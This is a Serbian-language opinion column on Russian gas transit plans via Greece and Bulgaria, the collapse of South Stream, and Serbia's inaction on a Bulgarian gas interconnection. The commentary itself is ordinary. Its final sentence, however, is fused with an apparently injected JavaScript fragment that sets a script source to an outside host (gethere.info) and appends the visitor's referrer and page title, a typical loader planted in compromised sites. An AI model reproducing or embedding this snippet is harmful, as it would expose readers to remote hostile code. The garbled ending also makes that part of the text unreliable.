KOLUMNA, CRKVENJAKOV: Ruski gas, balkanski interesi i srpsko ćutanje

KOLUMNA, CRKVENJAKOV: Ruski gas, balkanski interesi i srpsko ćutanje


Zamenica ministra, dete oca Nišlije i majke Sofijke, pokazuje ambasadoru imejl iz briselskog Komesarijata za energetiku – poziv na potpisivanje srpsko-bugarskog sporazuma o gasnoj interkonekciji. Pita da li srpska strana zna nešto o tome. Na upit je Beograd odgovorio – tišinom.

Ako izostanu nepredviđeni događaji, ruski predsednik Putin 28. maja će doći u Grčku. Uključiće to, verovatno, i posetu Svetoj Gori, kao i mnogo prigodnih izjava o tekućoj godini grčko-ruske saradnje. Kod nas je malo poznato da su zbog pontskih (crnomorskih, krimskih) Grka i istorijskih kontakata u borbi protiv otomanske imperije rusko-grčke veze mnogo jače nego naše.

Ruski interesi

Iza tog javnog nastupa biće mnogo više poslovnog sadržaja – Rusi su zainteresovani za privatizaciju javnih preduzeća koja operišu električnom energijom, gasom i naftom (PPC, DEPA, “Helenik petroleum”); kao i za transport – Solunsku luku i segment železnice (“Trainos”).

Naravno, od interesovanja do realizacije je dug put, pogotovo kada ruska strana u saradnji s Grčkom vidi i promociju njene nove geopolitičke strategije na širem prostoru; dok, opet, Grci mogu upotrebiti ruski interes kao jak argument u prelomnim pregovorima s evrozonom.

Najinteresantniji deo razgovora mogao bi da bude onaj o novom ruskom pokušaju da prirodni gas za jug Evrope transportuje preko Bugarske i Grčke. Koristila bi se već planirana interkonekcija Grčka – Italija (IGI).

Naime, nakon odustajanja od već započetog “Južnog toka”, pa potom i “Turskog toka”, a još uvek prinuđena da se oslanja na problematičnu ukrajinsku rutu, Rusija traži način da prekomponuje dostavu prirodnog gasa južnoj Evropi. Istovremeno, to bi trebalo da parira konkurentskom Prekojadranskom gasovodu (TAP) predviđenom za dostavu azerbejdžanskog gasa evropskom tržištu. Dakle, uprkos opoziciji iz Brisela i Vašingtona, Moskva osigurava podršku Italije i Grčke u oživljavanju interkonekcije IGI koja je, ironijom, prvobitno upravo i planirana kako bi se smanjila zavisnost Evropske unije od ruskog gasa, diverzifikacijom izvora i puteva snabdevanja.

“Severni tok 2”

Prvi znak podrške Atine i Rima ovoj ruskoj inicijativi došao je u februaru, kada je potpisan Memorandum o saradnji “Depe” (grčki državni snabdevač gasom), “Edisona” (italijanski parnjak) i “Gasproma”, koji predviđa da se istraže mogućnosti oživljavanja planova za grčko-italijansku gasnu interkonekciju IGI. Pretpostavka je da će tokom posete Atini Putin tražiti dalju podršku u zamenu za potencijalne ruske usluge grčkom programu privatizacije.

Gde bi, osim u Briselu i Vašingtonu, još mogli da se pojave problemi? Bugarsku je, svojevremeno, Moskva optužila da je glavni krivac za propast projekta “Južni tok”, ali je to brzo utihnulo. Bugarski premijer Borisov, blizak nemačkoj vladi bar koliko i naš premijer, u međuvremenu je u Briselu izjavio da ako Nemačka može s Rusima da započne i “Severni tok 2” on ne vidi kakve bi to onda pravne prepreke mogle da zaustave Bugarsku u sličnom poduhvatu.

Uzgred, Nemačka ulazi u pomenuti projekat “Severni tok 2” u situaciji u kojoj je kapacitet “Severnog toka 1” još uvek samo polovično iskorišćen. To govori o nameri Nemaca da se pozicioniraju za budućnost i obezbede ulogu evropskog energetskog “haba” vezanog za sibirski gas. Istu takvu ambiciju ima i Bugarska, samo vezanu za naš region. U skladu s tim, premijer Borisov je u svom prošlom mandatu u Azerbejdžanu obezbedio i dugoročne isporuke gasa sa novog polja “Šah Deniz 2”. Ali, problem je što još uvek nema adekvatne transportne linije, uz javne sumnje da je azerbejdžanskog gasa do sada ugovoreno mnogo više nego što su potvrđene rezerve.

Dodajmo i da su se američka obećanja iz prošle decenije o brodskoj dostavi tečnog gasa iz škriljaca u crnomorske luke pokazala na “dugom i luksuznom, štapu”. Tek ovog proleća je prvi takav tanker, i to u Portugaliji, pristao uz evropsku obalu. U takvoj situaciji bilo bi ne samo neracionalno, već i suludo ne računati na sibirski gas.

Turska i “Južni tok”

Turska je u realizaciji “Južnog toka” imala ucenjivačkog potencijala koliko i Bugarska. Prema projektu, podmorska sekcija tog gasovoda, izbegavajući ukrajinski, trebalo je da pređe preko turskog kontinentalnog šelfa. U međuvremenu se situacija, već zavisno od gledišta, i zakomplikovala i uprostila… S jedne strane, odnosi Rusije i Turske daleko su složeniji nakon sukoba interesa i incidenata u Siriji, pa je time i svaki poslovni dogovor dalji. S druge strane, poluostrvo Krim je u međuvremenu došlo pod kontrolu Rusije. Šta god mislila takozvana međunarodna zajednica, sada više neće biti problema da podmorska cev prođe negde južno od Sevastopolja i izroni, recimo, u bugarskoj Varni.

Sledi čuveno srpsko preduzetničko pitanje, samo podignuto na državni nivo – ima li tu nas?! Za odgovor ćemo morati da se vratimo šest godina unazad…Jednog zimskog jutra u Ambasadu Srbije u Sofiji iz bugarskog ministarstva zaduženog za energetiku stiže molba za sastanak.

Beograd ćuti

Zamenica ministra, dete oca Nišlije i majke Sofijke, pokazuje ambasadoru imejl iz briselskog Komesarijata za energetiku – poziv na potpisivanje srpsko-bugarskog sporazuma o gasnoj interkonekciji. Za njih je iznenađujući, pa pita da li srpska strana zna nešto o tome. Na upit je i Beograd odgovorio – tišinom.

Tek nekoliko dana kasnije postalo je jasnije: u pitanju je bila originalna briselska inicijativa, usmerena na pojačanje energetske sigurnosti EU. Srbija je umešana jer je – između. Kao članica EU, Bugarska je mogla odmah da računa na 60 miliona evra za izgradnju svog dela trase, dok mi, za početak, dobijamo novac potreban za izradu projekta. Uz svest o bugarskim energetskim ambicijama, kao i da je već realizovana njihova interkonekcija s Grčkom, i grčka konekcija s Turskom, bilo je logično zaključiti da se Srbiji otvara značajna šansa da svoj jedini put snabdevanja gasom, koji preko Mađarske vodi ka Ukrajini, nadogradi alternativom, pogotovo ako bi ona uključila i mogućnost dopreme gasa sa Srednjeg istoka.

Međutim, svaka sugestija faktorima u Beogradu da se razmisli čak i o povećanju kapaciteta, što bi otvorilo i mogućnost tranzita za treće zemlje, ignorisana je. Navođeni razlozi: za razvoj gasne mreže južno od Beograda zadužena je firma u većinskom ruskom vlasništvu pa nema interesa da pomaže konkurenciju koja bi potencijalno transportovala i azerbejdžanski gas; to je projekat Brisela pa oni treba i da plate; malo je potrošača u centralnoj Srbiji, zašto bi uzimali kredit kada nema prihoda koji bi ga otplaćivao?

S druge strane, već prvi kontakt s Cvetanom Vasilevim, tada vodećim bugarskim investitorom i tada vlasnikom “Staklare” u Paraćinu (a danas, izgleda, u dogovorenom egzilu u Beogradu, pošto se postupak ekstradicije oteže bez vidljive bugarske reakcije) pokazao je da je bugarski tajkun bio spreman da u Paraćinu investira i u elektranu na gas – kada bi ga bilo dovoljno. Zalud, Beograd je “sva jaja stavio u jednu korpu” zvanu “Južni tok”. Taktika – mi ćemo samo skrstiti ruke i ubirati transportnu taksu, a Rusi će odraditi sve ostalo…

Strategija kokoške

Energija i politički uticaj trošeni su u diletantskoj akciji produžavanja srpskog dela trase, pokušajem izmeštanja ulaza od Zaječara ka Nišu, iako je “Južni tok” zamišljen kao magistralni gasovod koji, zbog različitog pritiska, bez dodatne instalacije i ne može direktno da se koristi za usputnu industriju i distribuciju.

Gde smo danas? Da li imamo “Južni tok”? Da li imamo spremnu alternativu ako i ruski i azerbejdžanski gas prođu nešto južnije? Tamo smo gde i pre šest godina – na mogućnostima. Strategija kokoške, u kojoj postoji samo – “danas”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

+ Trenutno nema komentara

Dodajte komentar